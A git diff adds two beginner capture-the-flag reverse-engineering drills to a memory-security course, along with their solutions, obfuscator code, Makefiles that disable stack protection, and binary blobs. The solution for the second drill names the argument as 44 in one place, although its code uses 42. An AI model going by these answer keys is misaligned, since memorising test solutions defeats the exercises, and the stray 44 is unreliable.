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
KUX$gl=)VIKkpi;-

literal 0
HcmV?d00001

diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/README.md b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/README.md
new file mode 100644
index 00000000..0584c00a
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/README.md
@@ -0,0 +1,7 @@
+# Hidden in Plain Sight
+
+The `hidden-in-plain-sight-1/support/link` binary provides everything you need.
+Find a way to use it.
+> **TIP:** If you want a main function to be done right, you gotta do it yourself.
+
+If you are having trouble solving this exercise, check [this](https://stackoverflow.com/questions/15441877/how-do-i-link-object-files-in-c-fails-with-undefined-symbols-for-architecture).
diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/Makefile b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/Makefile
new file mode 100644
index 00000000..684cc8d6
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/Makefile
@@ -0,0 +1,25 @@
+CC = gcc
+CFLAGS = -g -m32 -z execstack -fno-PIC -fno-stack-protector
+LDFLAGS = -no-pie -m32
+SRC_DIR = .
+TARGET = main
+
+all: $(TARGET)
+
+obfuscator: $(SRC_DIR)/obfuscator.c
+	$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
+
+deobfuscator: $(SRC_DIR)/deobfuscator.c
+	$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
+
+link: $(SRC_DIR)/link.c
+	$(CC) $(CFLAGS) -c -o $@ $<
+
+$(TARGET): link main.o
+	$(CC) $(LDFLAGS) link main.o -o $(TARGET)
+
+main.o: $(SRC_DIR)/main.c
+	$(CC) $(CFLAGS) -c -o main.o $(SRC_DIR)/main.c
+
+clean:
+	rm -rf link main.o $(TARGET) obfuscator deobfuscator
diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/README.md b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/README.md
new file mode 100644
index 00000000..ed091f72
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/README.md
@@ -0,0 +1,11 @@
+# Solution
+
+Looking at the disassembly of the `link` binary, it is noticeable that there is no `main()` function.
+This is a clear indicator that we have to find a way to call it ourselves.
+
+We define a `get_flag()` function prototype as void (you may be able to skip this step, but there will be an implicit declaration error during compilation) and we call it in our main function.
+We then compile and assemble the file:
+`gcc -g -m32 -fno-PIC -c main.c`
+
+We then link it to the `link` binary:
+`gcc -no-pie -m32 link main.o -o a.out`
diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/deobfuscator.c b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/deobfuscator.c
new file mode 100644
index 00000000..1bb4796f
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/deobfuscator.c
@@ -0,0 +1,65 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#define MAXC 1000
+
+void hex_to_bytes(const char *hex_str, unsigned char *bytes, int *len)
+{
+	const char *pos = hex_str;
+	*len = 0;
+
+	int ret;
+
+	while (*pos && *(pos + 1)) {
+		if (*pos == '\\' && *(pos + 1) == 'x') {
+			ret = sscanf(pos + 2, "%2hhx", &bytes[*len]);
+			if (ret != 1)
+				exit(EXIT_FAILURE);
+			(*len)++;
+			pos += 4;
+		} else {
+			pos++;
+		}
+	}
+}
+
+void get_flag(unsigned char *flag, int len)
+{
+	const int start_offset = 5;
+	unsigned int seed = 42;
+	int i = 0, iflag = 0, garbage;
+	unsigned char *res = (unsigned char *) malloc(MAXC);
+
+	while (iflag < len) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--) {
+			rand_r(&seed);
+			++iflag;
+		}
+
+		res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
+		++iflag;
+	}
+	res[i] = 0;
+
+	puts((const char *)res);
+	free(res);
+}
+
+int main(void)
+{
+	char hex_input[MAXC];
+	unsigned char flag[MAXC];
+	int len;
+
+	printf("Enter the obfuscated flag (e.g. \\x66\\x3b...): ");
+	fgets(hex_input, MAXC, stdin);
+
+	hex_to_bytes(hex_input, flag, &len);
+
+	get_flag(flag, len);
+
+	return 0;
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/link.c b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/link.c
new file mode 100644
index 00000000..c471de12
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/link.c
@@ -0,0 +1,36 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdio.h>
+#include <stdlib.h>
+#define MAXC 1000
+
+void get_flag(void)
+{
+	const int start_offset = 5;
+	unsigned int seed = 42;
+
+	/* Here goes the obfuscated flag outputed by obfuscate.c */
+	char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x5a\x37"
+			 "\x20\x6a\x24\x21\x49\x72\x08\x45\x41\x1a\x25\x40\x35\x55\x25\x43"
+			 "\x1c\x70\x6d\x7a\x56\x1e\x0a\x11\x0c\x61\x07\x64\x0d\x08\x51\x31"
+			 "\x0b\x43\x07\x1e\x7c\x53\x0a\x52\x37\x59\x6c\x09\x70\x54\x54\x61"
+		 "\x2d\x5d\x1a\x46\x35\x70\x24\x2b\x60";
+
+	int i = 0;
+	int iflag = 0;
+	int garbage;
+	char *res = (char *)malloc(MAXC);
+
+	while (flag[iflag]) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--) {
+			rand_r(&seed);
+			++iflag;
+		}
+		res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
+		++iflag;
+	}
+	res[i] = 0;
+
+	puts(res);
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/main.c b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/main.c
new file mode 100644
index 00000000..b41ea219
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/main.c
@@ -0,0 +1,9 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+void get_flag(void);
+
+int main(void)
+{
+	get_flag();
+	return 0;
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/obfuscator.c b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/obfuscator.c
new file mode 100644
index 00000000..f4583006
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/obfuscator.c
@@ -0,0 +1,46 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdio.h>
+#include <stdlib.h>
+#define MAXC 1000
+
+const int start_offset = 5;
+unsigned int seed = 42;
+
+unsigned char *obfuscate(unsigned char *s)
+{
+	int i = 0;
+	int garbage;
+	unsigned char *res = (unsigned char *) malloc(10 * MAXC);
+
+	while (*s) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--)
+			res[i++] = rand_r(&seed) % 127 + 1;
+		res[i] = ((*s) ^ ((start_offset + i) % 128) ^ (rand_r(&seed) % 128)) + 1;
+		++i;
+		++s;
+	}
+	res[i] = 0;
+
+	return res;
+}
+
+int main(void)
+{
+	unsigned char s[MAXC];
+
+	scanf("%s", s);
+
+	unsigned char *s_obfuscated = obfuscate(s);
+	unsigned char *p = s_obfuscated;
+
+	while (*p) {
+		printf("\\x%02x", *p);
+		++p;
+	}
+
+	free(s_obfuscated);
+
+	return 0;
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/support/link b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/support/link
new file mode 100755
index 0000000000000000000000000000000000000000..c0b67f5075b65587042d029fea8810a6a0b0a837
GIT binary patch
literal 4832
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
NX$1Kp*ElcN?!R^$J!=2}

literal 0
HcmV?d00001

diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/README.md b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/README.md
new file mode 100644
index 00000000..c84bdc86
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/README.md
@@ -0,0 +1,7 @@
+# Hidden in Plain Sight 2
+
+Analyze the `hidden-in-plain-sight-2/support/link2` binary.
+Executing it is no longer a mystery, but it will be a bit more challenging to reach the flag.
+> **TIP:** Not all functions are private.
+
+In case you get stuck, feel free to take a look at [this](https://stackoverflow.com/questions/60261705/why-functions-locals-and-arguments-are-pushed-to-the-stack)!
diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/Makefile b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/Makefile
new file mode 100644
index 00000000..57211dc1
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/Makefile
@@ -0,0 +1,25 @@
+CC = gcc
+CFLAGS = -g -m32 -z execstack -fno-PIC -fno-stack-protector
+LDFLAGS = -no-pie -m32
+SRC_DIR = .
+TARGET = main
+
+all: $(TARGET)
+
+obfuscator: $(SRC_DIR)/obfuscator.c
+	$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
+
+deobfuscator: $(SRC_DIR)/deobfuscator.c
+	$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
+
+link2: $(SRC_DIR)/link.c
+	$(CC) $(CFLAGS) -c -o $@ $<
+
+$(TARGET): link2 main.o
+	$(CC) $(LDFLAGS) link2 main.o -o $(TARGET)
+
+main.o: $(SRC_DIR)/main.c
+	$(CC) $(CFLAGS) -c -o main.o $(SRC_DIR)/main.c
+
+clean:
+	rm -rf link2 main.o $(TARGET) obfuscator deobfuscator
diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/README.md b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/README.md
new file mode 100644
index 00000000..50113fb8
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/README.md
@@ -0,0 +1,30 @@
+# Solution
+
+In a nature similar to that of the previous exercise, we take a close look at the `objdump` disassembly output of the binary using the `objdump -D -M intel link2` command, specifically focusing on the `helper()` function:
+
+```asm
+0000012b <helper>:
+(...)
+137: 83 7d 08 2a                   cmp     dword ptr [ebp + 8], 42
+13b: 75 0d                         jne     0x14a <helper+0x1f>
+13d: 80 7d f4 58                   cmp     byte ptr [ebp - 12], 88
+141: 75 07                         jne     0x14a <helper+0x1f>
+143: e8 b8 fe ff ff                call    0x0 <get_flag>
+```
+
+The first `cmp` instruction at `0x137` compares the value at `[ebp + 8]` with `42`.
+This implies that the first argument passed to the helper() function is expected to be `42`.
+The second `cmp` instruction at `0x13d` compares the value at `[ebp - 12]` with `88`.
+Since it's comparing a single byte (`byte ptr`), we can infer that this corresponds to a `char` argument.
+Although it appears to be a local variable, if we look around a bit, we will notice why that is:
+
+```asm
+131: 8b 45 0c                      mov     eax, dword ptr [ebp + 12]
+134: 88 45 f4                      mov     byte ptr [ebp - 12], al
+```
+
+The value at `[ebp + 12]` is moved into the `eax` register - this corresponds to the second argument passed to the `helper` function.
+The lower byte of `eax`, `al`, the `char` that we are interested in, is then moved into a local variable.
+
+If both of the aforementioned comparisons are successful, the `get_flag()` function is called.
+Hence, we can infer that we need to call the `helper()` function using the two arguments above - the integer `44`, and the char `X`, which is `88` in decimal.
diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/deobfuscator.c b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/deobfuscator.c
new file mode 100644
index 00000000..1bb4796f
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/deobfuscator.c
@@ -0,0 +1,65 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#define MAXC 1000
+
+void hex_to_bytes(const char *hex_str, unsigned char *bytes, int *len)
+{
+	const char *pos = hex_str;
+	*len = 0;
+
+	int ret;
+
+	while (*pos && *(pos + 1)) {
+		if (*pos == '\\' && *(pos + 1) == 'x') {
+			ret = sscanf(pos + 2, "%2hhx", &bytes[*len]);
+			if (ret != 1)
+				exit(EXIT_FAILURE);
+			(*len)++;
+			pos += 4;
+		} else {
+			pos++;
+		}
+	}
+}
+
+void get_flag(unsigned char *flag, int len)
+{
+	const int start_offset = 5;
+	unsigned int seed = 42;
+	int i = 0, iflag = 0, garbage;
+	unsigned char *res = (unsigned char *) malloc(MAXC);
+
+	while (iflag < len) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--) {
+			rand_r(&seed);
+			++iflag;
+		}
+
+		res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
+		++iflag;
+	}
+	res[i] = 0;
+
+	puts((const char *)res);
+	free(res);
+}
+
+int main(void)
+{
+	char hex_input[MAXC];
+	unsigned char flag[MAXC];
+	int len;
+
+	printf("Enter the obfuscated flag (e.g. \\x66\\x3b...): ");
+	fgets(hex_input, MAXC, stdin);
+
+	hex_to_bytes(hex_input, flag, &len);
+
+	get_flag(flag, len);
+
+	return 0;
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/link.c b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/link.c
new file mode 100644
index 00000000..7c1cd267
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/link.c
@@ -0,0 +1,43 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdio.h>
+#include <stdlib.h>
+#define MAXC 1000
+
+static void get_flag(void)
+{
+	const int start_offset = 5;
+	unsigned int seed = 42;
+
+	char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x73\x37"
+			 "\x20\x6c\x24\x21\x49\x58\x08\x45\x41\x30\x3f\x40\x35\x64\x25\x43"
+			 "\x0f\x70\x6d\x66\x56\x1e\x0a\x11\x32\x61\x07\x64\x37\x11\x53\x31"
+			 "\x0b\x43\x07\x0f\x7c\x56\x0a\x70\x37\x45\x6c\x09\x70\x54\x54\x77"
+			 "\x2d\x5d\x1a\x46\x0f\x70\x24\x2b\x54\x2d\x6d\x06\x16\x57\x70\x4b"
+			 "\x6f\x51\x7d\x17\x47\x19\x27\x3d\x0f\x2f\x77";
+	int i = 0;
+	int iflag = 0;
+	int garbage;
+	char *res = (char *)malloc(MAXC);
+
+	while (flag[iflag]) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--) {
+			rand_r(&seed);
+			++iflag;
+		}
+		res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128);
+		++iflag;
+	}
+	res[i] = 0;
+
+	puts(res);
+}
+
+void helper(int a, char c)
+{
+	if (a == 42 && c == 'X')
+		get_flag();
+	else
+		printf("Keep trying\n");
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/main.c b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/main.c
new file mode 100644
index 00000000..211c2efc
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/main.c
@@ -0,0 +1,9 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+void helper(int a, char c);
+
+int main(void)
+{
+	helper(42, 'X');
+	return 0;
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/obfuscator.c b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/obfuscator.c
new file mode 100644
index 00000000..f4583006
--- /dev/null
+++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/obfuscator.c
@@ -0,0 +1,46 @@
+// SPDX-License-Identifier: BSD-3-Clause
+
+#include <stdio.h>
+#include <stdlib.h>
+#define MAXC 1000
+
+const int start_offset = 5;
+unsigned int seed = 42;
+
+unsigned char *obfuscate(unsigned char *s)
+{
+	int i = 0;
+	int garbage;
+	unsigned char *res = (unsigned char *) malloc(10 * MAXC);
+
+	while (*s) {
+		garbage = rand_r(&seed) % 5;
+		while (garbage--)
+			res[i++] = rand_r(&seed) % 127 + 1;
+		res[i] = ((*s) ^ ((start_offset + i) % 128) ^ (rand_r(&seed) % 128)) + 1;
+		++i;
+		++s;
+	}
+	res[i] = 0;
+
+	return res;
+}
+
+int main(void)
+{
+	unsigned char s[MAXC];
+
+	scanf("%s", s);
+
+	unsigned char *s_obfuscated = obfuscate(s);
+	unsigned char *p = s_obfuscated;
+
+	while (*p) {
+		printf("\\x%02x", *p);
+		++p;
+	}
+
+	free(s_obfuscated);
+
+	return 0;
+}
diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/support/link2 b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/support/link2
new file mode 100755
index 0000000000000000000000000000000000000000..5194748966495db6286b219d94d17376f126eb45
GIT binary patch
literal 5124
zcma)9du$xV8K1qo_1*e$ew_0#rf^Xm^5X7n$B9iI#Ccp|Cuv^TX#j`I-re5aD)-Xv
z-X-B7XiN}SHx;QWD%7BYM5R_u+ke`kmi`eZ4GBV3169>hQPo0#Ofi(IQA;VR`}<~R
zFPl(_j=lSv@B4o9&3xa?&dfa;-@RRuB<2)}dD(S|v0t{?mH`gS*#g$d#%u4~Gdb6D
zIX){xdpZ8*N)B%m<#PO*4IdFq&Nb&|y^PI%IzK-@`Kz{CeCEBEZT;!^oBQhO>0e|s
znN01<KmYRDC$%fnAK$*>LhWiTJ~uT!SGzhr<B_hen66!c;{6a@x|>eMKa!^6bEo&s
